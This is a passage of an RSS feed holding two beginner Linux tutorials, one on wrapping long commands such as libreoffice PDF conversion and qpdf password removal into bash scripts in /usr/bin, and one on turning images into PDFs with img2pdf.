            <content:encoded><![CDATA[<p>Hi! In this article, I’m going to show you how to create a simple command from complex command in Linux by creating bash executable program that contains the complex command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*wsocBxRCWRlBOSopMByaeA.png" /><figcaption>E.x. : command for converting odt document to pdf document. It takes kinda much words.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*g04R0kDZiGFGF65gfBezIg.png" /><figcaption>Using bash executable program named ‘kepdf’ for doing same thing.</figcaption></figure><p>As you can see, in first image looks that you must type long command (‘<em>libreoffice — convert-to…and so on.</em>’) for converting. But, in second image, only type ‘kepdf’ for doing same thing.</p><p>In here, ‘kepdf’ is bash executable program that I’ve created and I put it into /usr/bin/ directory . If we see inside of ‘kepdf’, it contains plain texts with bash format as shown below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*4Iy-I_L5lU9uaHBEMkgPlQ.png" /></figure><ul><li><em>#!/bin/bash</em> → is a flag for telling that the file is bash program</li><li><em>libreoffice --convert-to pdf “$1”</em> → is main program that will be execute</li><li>“$1” → for passing an argument. This depend on your program need. If the command needs arguments for running, you add “$1” “$2” “$3” and so on. The numbers become markers of the order in which the arguments will be passed.</li></ul><p>Example : creating ‘unblockpdf’ bash program for unblocking blocked pdf document by password.</p><p>The original command is :</p><p><em>qpdf --password=[password] --decrypt [blocked_pdf_name] [output]</em></p><p>Open your terminal and create bash executable program :</p><p><em>nano unblockpdf</em></p><p>Then write the following command in it :</p><p><em>#!/bin/bash<br>qpdf --password=”$2&quot; --decrypt “$1” “$3”</em></p><p>(NB : Remember! The numbers become markers of the order in which the arguments will be passed.)</p><p>Save it and exit : <em>Ctrl + x</em> then type ‘y’ then <em>Enter</em></p><p>Make the program executable : <em>sudo chmod +x unblockpdf</em></p><p>Move it into /usr/bin/ directory : <em>sudo mv unblockpdf /usr/bin/</em></p><p>Now, you can run this command from wherever path by typing <em>unblockpdf …</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*REQrdgaPBE5-nv3Qc2G_Bg.png" /></figure><p>Thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab718cc062f2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Convert Image to PDF in Linux]]></title>
            <link>https://alb-soul.medium.com/convert-image-to-pdf-in-linux-103d3a1b1f0a?source=rss-5f1f020fa647------2</link>
            <guid isPermaLink="false">https://medium.com/p/103d3a1b1f0a</guid>
            <category><![CDATA[convert]]></category>
            <category><![CDATA[image]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[linux-tutorial]]></category>
            <category><![CDATA[pdf]]></category>
            <dc:creator><![CDATA[Arumusutakimu]]></dc:creator>
            <pubDate>Fri, 08 Jul 2022 13:14:55 GMT</pubDate>
            <atom:updated>2022-07-08T13:14:55.154Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi! In this article, I’m going to show you how to convert your one image or multiple images to PDF document.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*LdVzx1xldEjv_cQfmJkL8w.png" /></figure><p>In Linux, there’s utility called img2pdf. This tool used for crate a pdf document from your image file. You can crate from 1, 2 , or so on images file to pdf with this tool.</p><p>Install img2pdf from your repo via terminal (for Debian/Ubuntu-based) :</p><p><em>sudo apt update</em></p><p><em>sudo apt install img2pdf</em></p><p>NB : If you use another distro, just install it with your package manager depends your distor</p><p>[ Usage ]</p><p><em>img2pdf imagefile.jpg -o namepdf.pdf</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*WLQRoqwzBDsdjRQ0lhwo1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*HZMkSYPwSHs3ZnE9sAFDrA.png" /></figure><p>For multiple images, just add other files as an argument before ‘<em>-o</em>’ parameter.</p><p>E.x. : <em>img2pdf image1.png image2.jpg image3.jpeg -o outfile.pdf</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=103d3a1b1f0a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>